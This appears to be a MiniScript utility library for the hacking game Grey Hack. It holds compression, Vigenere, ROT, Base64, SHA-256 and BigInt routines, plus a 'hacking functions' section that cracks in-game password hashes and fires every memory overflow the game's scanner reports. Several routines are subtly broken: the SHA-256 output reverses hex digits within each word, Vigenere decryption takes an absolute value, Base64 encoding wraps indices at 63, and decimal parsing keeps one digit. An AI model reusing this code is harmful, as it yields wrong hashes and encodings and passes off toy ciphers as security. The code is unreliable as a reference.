  • if not data or not data isa string then return
  • if bitwise("&",data.len,1) then data=data+"0"
  • max=function(p1,p2)
  • if p1 > p2 then return p1 else return p2
  • end function
  • min=function(p1,p2)
  • if p1 < p2 then return p1 else return p2
  • end function
  • move=function(position,mv,wid,high)
  • posx=floor(position%wid)
  • posy=floor(position/wid)
  • newposx=posx
  • if mv == NW or mv == SW then newposx=newposx-1
  • if mv == NE or mv == SE then newposx=newposx+1
  • newposy=posy
  • if mv == NW or mv == NE then newposy=newposy-1
  • if mv == SW or mv == SE then newposy=newposy+1
  • newposx=max(0,min(wid-1,newposx))
  • newposy=max(0,min(high-1,newposy))
  • return newposx+newposy*wid
  • end function
  • hex2dec=function(hex)
  • ints=[]
  • for i in range(0,hex.len-1,2)
  • ints.push((FoxLib.General.ParseInt(hex[i:i+2],16)))
  • end for
  • return ints
  • end function
  • NW=0
  • NE=1
  • SW=2
  • SE=3
  • alt=" .o+=*B0X@%&#/^"
  • width=17
  • height=9
  • board=[]
  • while board.len != width*height
  • board.push(0)
  • end while
  • bytes=hex2dec(data)
  • pos=width*4+8;
  • start=pos
  • for i in range(0,bytes.len-1)
  • d=bytes[i]
  • for j in range(0,6,2)
  • v = bitwise("&", bitwise(">>", d, j), 3)
  • newpos=move(pos,v,width,height)
  • board[newpos]=board[newpos]+1
  • pos=newpos
  • end for
  • end for
  • art=""
  • for p in range(0,width*height-1)
  • m=board[p]
  • if m >= alt.len then m=alt.len-1
  • chr=alt[m]
  • if p == start then chr="S"
  • if p == pos then chr="E"
  • art=art+chr
  • if(p % width == width -1) then art=art+char(10)
  • end for
  • return art.split(char(10))[:-1].join(char(10))
  • end function
  • FoxLib.General.ParseInt=function(s,orad=0,irad=0)
  • if typeof(s) != "string" then return 0
  • if s[:2] == "0x" and not irad then irad=16
  • if irad == 16 and not orad then orad=10
  • if s[:2] == "0x" then s=s[2:]
  • if not irad then irad=10
  • if not orad then orad=16
  • alpha="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  • if irad > alpha.len or irad < 2 then return 0
  • if orad > alpha.len or orad < 2 then return 0
  • out=[]
  • if irad == 10 then
  • o=s.val
  • while o
  • out.push(alpha[o % orad])
  • o=floor(o/orad)
  • end while
  • if orad == 16 then out.push("0x")
  • out.reverse
  • return out.join("")
  • end if
  • for c in s
  • out.push( (alpha.indexOf(c) * irad ^ ( (s.len-1) - out.len)) )
  • end for
  • out=out.sum
  • if orad == 10 then return out
  • o=out
  • out=[]
  • while o
  • out.push(alpha[floor(o%orad)])
  • o=floor(o/orad)
  • end while
  • if orad == 16 then out.push("0x")
  • out.reverse
  • return out.join("")
  • end function
  • FoxLib.General.Compression=function(st=null,type=null)
  • basedictcompress={}
  • basedictdecompress={}
  • for i in range(0,55295)
  • ic=char(i)
  • iic=char(i)+char(0)
  • basedictcompress[ic]=iic
  • basedictdecompress[iic]=ic
  • end for
  • dictAddA=function(str,dict,a,b)
  • if a >= 55296 then
  • a = 0
  • b=b+1
  • if b >= 55296 then
  • dict={}
  • b=1
  • end if
  • end if
  • dict[str]=char(a)+char(b)
  • a=a+1
  • return [dict,a,b]
  • end function
  • compress=function(input)
  • if not input isa string then return 0
  • length=input.len
  • if length <= 1 then return "u"+input
  • dict={}
  • a=0
  • b=1
  • result=["c"]
  • resultLen=result.len
  • word=""
  • for i in range(0,length-1)
  • c=input[i]
  • wc=word+c
  • if not (basedictcompress.hasIndex(wc) or dict.hasIndex(wc)) then
  • write=null
  • if basedictcompress.hasIndex(word) then
  • write=basedictcompress[word]
  • else if dict.hasIndex(word) then
  • write=dict[word]
  • end if
  • if not write then return 0
  • result.push(write)
  • resultLen=result.len
  • if length <= resultLen then return "u"+input
  • dict=dictAddA(wc,dict,a,b)
  • a=dict[1]
  • b=dict[2]
  • dict=dict[0]
  • word=c
  • else
  • word=wc
  • end if
  • end for
  • if basedictcompress.hasIndex(word) then result.push(basedictcompress[word]) else result.push(dict[word])
  • resultLen=result.len
  • if length <= resultLen then return "u"+input
  • return result.join("")
  • return input
  • end function
  • dictAddB=function(str,dict,a,b)
  • if a >= 55296 then
  • a=0
  • b=b+1
  • if b >= 55296 then
  • dict={}
  • b=1
  • end if
  • end if
  • dict[char(a)+char(b)]=str
  • a=a+1
  • return [dict,a,b]
  • end function
  • decompress=function(input)
  • if not input isa string then return 0
  • if input.len < 1 then return 0
  • control=input[0]
  • if control == "u" then
  • return input[1:]
  • else if control != "c" then
  • return 0
  • end if
  • input=input[1:]
  • length=input.len
  • if length < 2 then return 0
  • dict={}
  • a=0
  • b=1
  • result=[]
  • last=input[0:2]
  • if basedictdecompress.hasIndex(last) then
  • result.push(basedictdecompress[last])
  • else if dict.hasIndex(last) then
  • result.push(dict[last])
  • end if
  • for i in range(2,length-1,2)
  • code=input[i:i+2]
  • lastStr=null
  • if basedictdecompress.hasIndex(last) then
  • lastStr=basedictdecompress[last]
  • else if dict.hasIndex(last) then
  • lastStr=dict[last]
  • end if
  • if lastStr == null then return 0
  • if basedictdecompress.hasIndex(code) then
  • toAdd=basedictdecompress[code]
  • else if dict.hasIndex(code) then
  • toAdd=dict[code]
  • else
  • toAdd=0
  • end if
  • if toAdd then
  • result.push(toAdd)
  • dict=dictAddB(lastStr+toAdd[0],dict,a,b)
  • a=dict[1]
  • b=dict[2]
  • dict=dict[0]
  • else
  • tmp=lastStr+lastStr[0]
  • result.push(tmp)
  • dict=dictAddB(tmp,dict,a,b)
  • a=dict[1]
  • b=dict[2]
  • dict=dict[0]
  • end if
  • last=code
  • end for
  • return result.join("")
  • return input
  • end function
  • if type == "compress" then
  • return compress(st)
  • else if type == "decompress" then
  • return decompress(st)
  • else
  • return 0
  • end if
  • end function
  • // CRYPTOGRAPHY FUNCTIONS
  • FoxLib.Crypto={}
  • FoxLib.Crypto.Vigenere=function(s=null,key=null,type=null)
  • if not key or not key isa string then return 0
  • if not s or not s isa string then return 0
  • if not type or not type isa string or (type != "enc" and type != "dec") then return 0
  • keySize=key.len
  • result=""
  • counter=0
  • if type == "enc" then
  • for i in s
  • currKey=key[counter]
  • final = (i.code+currKey.code) % 55295
  • result=result+char(final)
  • counter=(counter+1) % keySize
  • end for
  • else if type == "dec" then
  • for i in s
  • currKey=key[counter]
  • final=(i.code-currKey.code)
  • if final < 0 then final = 0 - final
  • result=result+char(final)
  • counter=(counter+1) % keySize
  • end for
  • end if
  • return result
  • end function
  • FoxLib.Crypto.ROT=function(pos=null,s=null)
  • if not pos or not pos isa number then return 0
  • pos=abs(pos)
  • if not s or not s isa string then return 0
  • cases=[]
  • cases.push("abcdefghijklmnopqrstuvwxyz")
  • cases.push("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
  • ns=[]
  • for i in s
  • case=null
  • for c in cases
  • if c.indexOf(i) != null then case=c
  • end for
  • if not case then
  • ns.push(i)
  • continue
  • end if
  • ind=case.indexOf(i)
  • newPos=(ind+pos)%case.len
  • ns.push(case[newPos])
  • end for
  • return ns.join("")
  • end function
  • FoxLib.Crypto.Base64=function(s=null,type=null)
  • if not s or not s isa string then return 0
  • if not type or not type isa string or (type != "enc" and type != "dec") then return 0
  • alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  • alphaLen=alpha.len-1
  • based=null
  • if type == "enc" then
  • grouped=[]
  • while s
  • ns=s[:3]
  • s=s[ns.len:]
  • bins=[]
  • for i in ns
  • b=FoxLib.General.ParseInt(str(i.code),2)
  • while b.len < 8
  • b="0"+b
  • end while
  • bins=bins+b.values
  • end for
  • grouped.push(bins)
  • end while
  • based=""
  • for g in grouped
  • block=[]
  • while g
  • s=g[:6]
  • g=g[s.len:]
  • while s.len < 6
  • s.push("0")
  • end while
  • block.push(s)
  • end while
  • for i in block
  • based=based+alpha[FoxLib.General.ParseInt(i.join(""),10,2)%alphaLen]
  • end for
  • check=block.len
  • while check != 4
  • based=based+"="
  • check=check+1
  • end while
  • end for
  • else
  • grouped=[]
  • while s
  • block=[]
  • ns=s[:4]
  • s=s[ns.len:]
  • for i in ns
  • if i == "=" then break
  • a=FoxLib.General.ParseInt(str(alpha.indexOf(i)),2)
  • while a.len < 6
  • a="0"+a
  • end while
  • block=block+a.values
  • end for
  • grouped.push(block)
  • end while
  • based=""
  • for g in grouped
  • block=[]
  • while g
  • s=g[:8]
  • g=g[s.len:]
  • check=s.len
  • if check < 8 then s.reverse
  • while s.len < 8
  • s.push("0")
  • end while
  • if check < 8 then s.reverse
  • block.push(s)
  • end while
  • for i in block
  • based=based+char(FoxLib.General.ParseInt(i.join(""),10,2))
  • end for
  • end for
  • end if
  • return based
  • end function
  • FoxLib.Crypto.Sha256=function(st=null)
  • if not st or not st isa string then return
  • Blocks = [[0]]
  • i=0
  • e=0
  • while i < st.len
  • e=4
  • while e > 0 and st.hasIndex(i)
  • e=e-1
  • Blocks[-1][-1] = Blocks[-1][-1] + code(st[i])*256^e
  • i=i+1
  • end while
  • if e == 0 then
  • if Blocks[-1].len == 16 then Blocks = Blocks + [[0]] else Blocks[-1] = Blocks[-1] + [0]
  • end if
  • end while
  • if e > 0 then
  • Blocks[-1][-1] = Blocks[-1][-1] + (2147483648/256^(4-e))
  • else
  • Blocks[-1][-1] = 2147483648
  • end if
  • if Blocks[-1].len == 16 then Blocks = Blocks + [[0]]
  • while Blocks[-1].len != 15
  • Blocks[-1] = Blocks[-1] + [0]
  • end while
  • Blocks[-1] = Blocks[-1] + [st.len*8]
  • add = function(a, b)
  • return (a + b) % 4294967296
  • end function
  • XOR = function(a, b)
  • return bitwise("^", floor(a/65536), floor(b/65536))*65536+bitwise("^", a%65536, b%65536)
  • end function
  • AND = function(a, b)
  • return bitwise("&", floor(a/65536), floor(b/65536))*65536+bitwise("&", a%65536, b%65536)
  • end function
  • OR = function(a, b)
  • return bitwise("|", floor(a/65536), floor(b/65536))*65536+bitwise("|", a%65536, b%65536)
  • end function
  • NOT = function(n)
  • return 4294967295-n
  • end function
  • Ch = function(x, y, z)
  • return OR(AND(x, y), AND(NOT(x), z))
  • end function
  • Maj = function(x, y, z)
  • return OR(OR(AND(x, y), AND(x, z)), AND(y, z))
  • end function
  • shr = function(n, shifts)
  • return floor(n/2^shifts)
  • end function
  • rotr = function(n, rots)
  • rots = 2^rots
  • return (n % rots) * (4294967296/rots) + floor(n/rots)
  • end function
  • sigma0 = function(n)
  • return XOR(XOR(rotr(n, 7), rotr(n, 18)), shr(n, 3))
  • end function
  • sigma1 = function(n)
  • return XOR(XOR(rotr(n, 17), rotr(n, 19)), shr(n, 10))
  • end function
  • SIGMA0 = function(n)
  • return XOR(XOR(rotr(n, 2), rotr(n, 13)), rotr(n, 22))
  • end function
  • SIGMA1 = function(n)
  • return XOR(XOR(rotr(n, 6), rotr(n, 11)), rotr(n, 25))
  • end function
  • K = []
  • K = K + [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221]
  • K = K + [3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580]
  • K = K + [3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986]
  • K = K + [2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895]
  • K = K + [666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037]
  • K = K + [2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344]
  • K = K + [430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779]
  • K = K + [1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]
  • H = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]
  • for Block in Blocks
  • W = Block[0:]
  • for i in range(16, 63)
  • W = W + [add(add(add(sigma1(W[i-2]), W[i-7]), sigma0(W[i-15])), W[i-16])]
  • end for
  • a = H[0]
  • b = H[1]
  • c = H[2]
  • d = H[3]
  • e = H[4]
  • f = H[5]
  • g = H[6]
  • h = H[7]
  • for i in range(0, 63)
  • T1 = add(add(add(add(SIGMA1(e), Ch(e, f, g)), h), K[i]), W[i])
  • T2 = add(SIGMA0(a), Maj(a, b, c))
  • h = g
  • g = f
  • f = e
  • e = add(d, T1)
  • d = c
  • c = b
  • b = a
  • a = add(T1, T2)
  • end for
  • H[0] = add(a, H[0])
  • H[1] = add(b, H[1])
  • H[2] = add(c, H[2])
  • H[3] = add(d, H[3])
  • H[4] = add(e, H[4])
  • H[5] = add(f, H[5])
  • H[6] = add(g, H[6])
  • H[7] = add(h, H[7])
  • end for
  • hexTable = "0123456789abcdef"
  • output = ""
  • for i in H.indexes
  • for j in range(7)
  • output = output + hexTable[floor(H[i]/16^j) % 16]
  • end for
  • end for
  • return output
  • end function
  • // BIGINT FUNCTIONS
  • FoxLib.Int={}
  • FoxLib.Int.base=function()
  • out={}
  • out.int=[]
  • out.dec=[]
  • out.neg=0
  • out.classID="BigInt"
  • out.string=function()
  • st=""
  • if self.neg then st="-"
  • for i in self.int
  • st=st+str(i)
  • end for
  • if self.dec.len > 0 then
  • st=st+"."
  • for i in self.dec
  • st=st+str(i)
  • end for
  • end if
  • return st
  • end function
  • out.trim=function()
  • num=self.int[0:]
  • dec=self.dec[0:]
  • i=0
  • while num[i] == 0 and num[i:].len != 1
  • i=i+1
  • end while
  • num=num[i:]
  • if dec.len > 0 then
  • i=0
  • dec.reverse
  • while dec[i] == 0 and dec.len < i
  • i=i+1
  • end while
  • if dec[i] == 0 then dec=[] else dec=dec[i:]
  • dec.reverse
  • end if
  • self.int=num[0:]
  • self.dec=dec[0:]
  • end function
  • out.to_int=function()
  • return val(self.string)
  • end function
  • return out
  • end function
  • FoxLib.Int.copy=function(num=0)
  • if typeof(num) != "BigInt" then return 0
  • out=FoxLib.Int.base
  • out.neg=num.neg
  • out.int=num.int[0:]
  • out.dec=num.dec[0:]
  • return out
  • end function
  • FoxLib.Int.zero=function(length=1)
  • newint=FoxLib.Int.base
  • while newint.int.len < length
  • newint.int.push(0)
  • end while
  • return newint
  • end function
  • FoxLib.Int.one=function(length=1)
  • newint=FoxLib.Int.base
  • while newint.int.len < length
  • if newint.int.len+1 == length then newint.int.push(1) else newint.int.push(0)
  • end while
  • return newint
  • end function
  • FoxLib.Int.rnd=function(length=1)
  • newint=FoxLib.Int.base
  • while newint.int.len < length
  • n=floor(rnd*10)
  • if n > 9 or n < 0 then continue
  • newint.int.push(n)
  • end while
  • return newint
  • end function
  • FoxLib.Int.fromint=function(num=0)
  • newint=FoxLib.Int.base
  • if not num isa string and not num isa number then return 0
  • if not num isa string then num=str(num)
  • if not val(num) isa number then return 0
  • if num[0] == "-" then
  • newint.neg=1
  • num=num[1:]
  • end if
  • for i in num
  • if "0123456789".indexOf(i) == null then break
  • newint.int.push(val(i))
  • end for
  • if num.hasIndex(__i_idx) and num[__i_idx] == "." then
  • num=num[__i_idx+1]
  • for i in num
  • if "0123456789".indexOf(i) == null then break
  • newint.dec.push(val(i))
  • end for
  • end if
  • return newint
  • end function
  • FoxLib.Int.math={}
  • FoxLib.Int.math.add=function(num1=1,num2=1)
  • if typeof(num1) != "BigInt" then
  • num1=FoxLib.Int.fromint(num1)
  • if not num1 then return 0
  • end if
  • if typeof(num2) != "BigInt" then
  • num2=FoxLib.Int.fromint(num2)
  • if not num2 then return 0
  • end if
  • negAdd=0
  • if num1.neg and num2.neg then negAdd=1
  • if not negAdd then
  • if num1.neg then
  • num1.neg=0
  • return FoxLib.Int.math.sub(num2,num1)
  • else if num2.neg then
  • num2.neg=0
  • return FoxLib.Int.math.sub(num1,num2)
  • end if
  • end if
  • A=num1.int[0:]+num1.dec[0:]
  • Aintlen=num1.int.len
  • Adeclen=num1.dec.len
  • B=num2.int[0:]+num2.dec[0:]
  • Bintlen=num2.int.len
  • Bdeclen=num2.dec.len
  • while Adeclen < Bdeclen
  • A.push(0)
  • Adeclen=Adeclen+1
  • end while
  • while Bdeclen < Adeclen
  • B.push(0)
  • Bdeclen=Bdeclen+1
  • end while
  • A.reverse
  • B.reverse
  • while Aintlen < Bintlen
  • A.push(0)
  • Aintlen=Aintlen+1
  • end while
  • while Bintlen < Aintlen
  • B.push(0)
  • Bintlen=Bintlen+1
  • end while
  • outnum=[]
  • i=0
  • while 1
  • n=[]
  • if not A.indexes.hasIndex(i) and not B.indexes.hasIndex(i) then break
  • calc=A[i]+B[i]
  • if calc > 9 then
  • c=i+1
  • added=0
  • while A.indexes.hasIndex(c)
  • if A[c] < 9 then
  • A[c]=A[c]+1
  • added=1
  • break
  • end if
  • if A[c] == 9 then A[c]=0
  • c=c+1
  • end while
  • if not A.hasIndex(c) and not added then A.push(1)
  • calc=calc-10
  • end if
  • for c in str(calc)
  • n.push(c)
  • end for
  • n.reverse
  • for c in n
  • outnum.push(val(c))
  • end for
  • i=i+1
  • end while
  • out=FoxLib.Int.base
  • out.int=outnum[Adeclen:]
  • out.dec=outnum[:Adeclen]
  • out.neg=negAdd
  • out.int.reverse
  • out.dec.reverse
  • //if FoxLib.Int.math.equalto(FoxLib.Int.math.abs(out),0) then out.neg=0
  • return out
  • end function
  • // HACKING FUNCTIONS
  • FoxLib.VulnV={}
  • FoxLib.VulnV.Decipher=function(cp=null,hash=null)
  • if not (cp or hash) then return
  • if hash.len < 32 then return
  • hash=hash.split(":")[-1]
  • if hash.len < 32 then return
  • hash=hash[:32]
  • pass=cp.decipher(hash)
  • return pass
  • end function
  • FoxLib.VulnV.Exploit=function(mx=null,ml=null,args=null)
  • if not (mx or ml) then return
  • scan=mx.scan(ml)
  • out={}
  • out.db={}
  • out.db.name=ml.lib_name
  • out.db.ver=ml.version
  • out.db.exploits=[]
  • for mem in scan
  • ex={}
  • ex.mem=mem
  • ex.vulns=[]
  • mems=mx.scan_address(ml,mem).split("Unsafe check: ")
  • for ent in mems
  • if ent == mems[0] then continue
  • exp=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
  • if not args then result=ml.overflow(mem,exp) else result=ml.overflow(mem,exp,args)
  • v={}
  • v.vuln=exp
  • v.result=result
  • ex.vulns.push(v)
  • end for
  • out.db.exploits.push(ex)
  • end for
  • return out
  • end function